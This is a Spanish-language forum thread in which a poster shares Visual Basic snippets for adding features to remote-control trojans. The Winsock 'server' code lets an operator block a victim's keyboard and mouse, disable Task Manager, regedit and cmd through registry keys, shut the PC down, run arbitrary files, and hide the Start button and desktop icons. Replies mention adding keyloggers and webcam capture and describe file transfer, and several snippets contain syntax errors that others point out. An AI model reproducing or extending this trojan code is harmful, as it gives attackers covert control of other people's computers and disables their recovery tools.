Codigos para añadir a tus troyanos en VB

[Trxhick]

Bueno para los que programeis en visual basic, y esteis interesados en añadir mas opciones a vuestros troyanos programados en VB, aquí os dejo algunas ideas

Nota: Si alguien desea recibir claras instrucciones sobre creacion de troyanos en vb, me puede enviar un privado y le paso buena informacion para aprender.

-------------------------------desapareser
mouse---------------------------------------

agregar un modulo en el server y un Commandbutton en el cliente

---en el modulo del server----

Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long

----en el server-----

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desp" then ShowCursor false
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata "desp"
End Sub

-----------------------blokear mouse i teclado----------------------
agregar un commandbutton en el cliente i un modulo en el server
-----en el modulo del server------

Public Declare Function BlockInput Lib "user32" _
(ByVal fBlock As Long) As Long

-----en el server------

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desa" then BlockInput true
end sub

-----en el cliente---

Private Sub Command1_Click()
ws.senddata "desa"
End Sub

---------------------------------------hacer sonar beep ----------------

agregar un commandbutton en el cliente i un mopdulo en el server
-----en el modulo del server------

Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

------en el server---------

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "beep" then
Beep 999, 999
Beep 999, 999
end if
end sub

----3n 3l kl13nt3 xd-----
Private Sub Command1_Click()
ws.senddata "beep"
End Sub
-----------------------------------------abrir cosita de los cd---------------------------

agregar un modulo en el server i un commandbutton en el cliente

-----en el modulo del server---
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

----en el server---

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trok" then
Dim Res As Long, ReturnString As String * 127
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
end if
end sub

---en el cliente----

Private Sub Command1_Click()
ws.senddata "trok"
End Sub

-------------------------blokear el taskmgr.exe(cttrl + alt +supr)-------------------------

agregar 1 comand button en el server i 1 en el cliente

----en el server-----

Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "1"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell"

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtk" then call Command1_Click
end sub

----en el cliente----
Private Sub Command1_Click()
ws.senddata " trtk"
end sub

----------------------------------------apagar el pc------------------

agregar un commandbutton en el cliente
----en el server---
Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & " -s -t 00"
----en el cliente----
Private Sub Command1_Click()
ws.senddata "lol"
End Sub

---------------------ejecutar un archivo----------------

agregar un textbox en el cliente i un comandbutton en el cliente

----en el server----

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell (datos)
End If
end sub

---en el cliente---

Private Sub Form_Load()
text1.text = "aka va el archivo a ejecutar"
End Sub
Private Sub Command1_Click()
ws.senddata "ejec" & text1.text
End Sub

-----------------------------------no dejar abrir ventanas-----------------------------------

agrega un modulo i un timer en el server i un commandbutton en el kliente

----en el modulo del server---

Public Const VK_LWIN = &H5B
Public Const KEYEVENTF_KEYUP = &H2

Public Declare Sub keybd_event Lib "user32" _
(ByVal bVk As Byte, ByVal bScan As Byte, _
ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

----en el server----

Private Sub Form_Load()
timer1.enabled = false
End Sub
Private Sub Timer1_Timer()
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "jajaja" then
timer1.interval = 100
timer1.enabled = true
end sub[/code]
--en el cliente----
Private Sub Command1_Click()
ws.senddata "jajaja"
End Sub

------------------------despareser iconos------------------

agregar un commandbutton en el cliente

-----en el server---

Private Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long


Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long

Const SW_SHOW = 5
Const SW_HIDE = 0



private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "topo" then
Dim Ret As Long

On Error Resume Next

Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

ShowWindow Ret, SW_HIDE
end if
End Sub

------en el cliente -----

Private Sub Command1_Click()
ws.senddata "topo"
end sub

---------------------desaparecer boton de inicio (signo de windows)-----------------

agregar un command button en el cliente

--------------------en el server---------
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1


Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type


Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim tWnd As Long, bWnd As Long, ncWnd As Long

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "paza" then
Dim R As RECT

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

GetWindowRect bWnd, R

ShowWindow ncWnd, SW_NORMAL

ShowWindow bWnd, SW_HIDE
end if

----------en el cliente-------------

Private Sub Command1_Click()
ws.senddata "paza"
End Sub

-----------------------deabilitar el regedit------------------

agregar un command button en el cliente

-----------en el server------------------

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim xdf As Object
Set xdf = CreateObject("wscript.shell"
xdf.RegWrite Folder, Value, "REG_DWORD"
Set Fxdf = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "regeditc" then
CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "1"
end if
end sub

----------en el cliente----------

Private Sub Command1_Click()
ws.senddata = "regeditc"
End Sub

---------desabilitar el cmd (trae problemas con algunos codes que ocupan el cmd)----

agregar un commandbutton en el cliente

-----en el server-----

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
Set Fso = CreateObject("wscript.shell"
Fso.RegWrite Folder, Value, "REG_DWORD"
Set Fso = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "cmdc" then
CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "1"
end if
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata = "cmdc"
End Sub
-------activar cmd--------------

agregar un commandbutton en el cliente

-----en el server-----

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
Set Fso = CreateObject("wscript.shell"
Fso.RegWrite Folder, Value, "REG_DWORD"
Set Fso = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "cmdb" then
CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "0"
end if
end sub
----en el cliente----
Private Sub Command1_Click()
ws.senddata = "cmdb"
End Sub

----------activar regedit------

agregar un command button en el cliente

-----------en el server------------------

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim xdf As Object
Set xdf = CreateObject("wscript.shell"
xdf.RegWrite Folder, Value, "REG_DWORD"
Set Fxdf = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "regedito" then
CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "0"
end if
end sub

----------en el cliente----------

Private Sub Command1_Click()
ws.senddata = "regedito"
End Sub
-----activar taskmgr.exe-----
agregar 1 comand button en el server i 1 en el cliente
----en el server-----
Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "0"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell"

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtj" then call Command1_Click
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata " trtj"
end sub

[Satanheoba]

Hola en Donde pones:

agregar un commandbutton en el cliente
----en el server---
Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & " -s -t 00"
----en el cliente----
Private Sub Command1_Click()
ws.senddata "lol"
End Sub

el comando "ws" de donde lo sacas? no entiendo.. si podrias explicar con un ejemplo entero haciendo una sola cosa..

Gracias.- (espero que me responda...)

[Nost]

Bah, estos códigos están algo malos, si no mira la línea que has citado:

If datos = "lol" Then Shell (sn & " -s -t 00"

¿No falta algo?

[smaug_]

Hombre, lo mismo es que es codigo anti-script-kiddies, con sus fallos para que solo pueda implementarlo alguien con conocimiento.

[Nost]

Sí, anti-scriptkiddies...

[RaidMan]

Hola en Donde pones:


el comando "ws" de donde lo sacas? no entiendo.. si podrias explicar con un ejemplo entero haciendo una sola cosa..

Gracias.- (espero que me responda...)

SatanHeoba, el 'WS' es el nombre que el le ha dado al control WinSock.
Se usa para conexiones por socks en windows.


En cuanto a los codes... No creo que los haya escrito todos el, porque como dice Nost en ese en concreto le falta un buen parentesis del que VB te avisa. Ademas de que puedes encontrar estos mismos codigos por internet, CON EL MISMO TITULO en el post


Un saludo

[Nost]

Trxhick, j00 g0t 0wn3d! powaaa!

[smaug_]

A ver si nos acordamos de citar a la fuente!

[Satanheoba]

Ok... ya caigo... lo que pasa es que me marea un poco eso del copy&paste ...

Gracias.-

[JRD]

Olaa a Tod@s esta bien que se comparta codigoO fuente y se agradece pero te agradeceria que pusieras algo sobre tranferencias de archivos en VB porque mi Troyanito esta bastante cargado de tonterias desas de abrir cd etc.... y le estoy metiendo cosas mas serias como son keylogger webcam captura de pantalla y demas jeje XD S@1u2s y graxias

[Marchi]

Es que la transferencia de archivos no tiene nada especial, simplemente abris el archivo en modo binario lo mandas a un bufer y envias o todo el bufer o lo seccionas en partes, o hasta incluso lo podes mandar byte x byte.

Por las dudas como para orientarte un poco con el codigo:
File transfer

Saludos

[JRD]

Es que la transferencia de archivos no tiene nada especial, simplemente abris el archivo en modo binario lo mandas a un bufer y envias o todo el bufer o lo seccionas en partes, o hasta incluso lo podes mandar byte x byte.

Por las dudas como para orientarte un poco con el codigo:
File transfer

Saludos

Graxias tiooo mas aYudadooO telaa porfin voy a poder probar cosas nuevas ke tenia pensaoOo uFF eske yo lo tenia exo por ftp una forma uff mu pesada para mi bicho asin se keda mas profecional

S@1u2s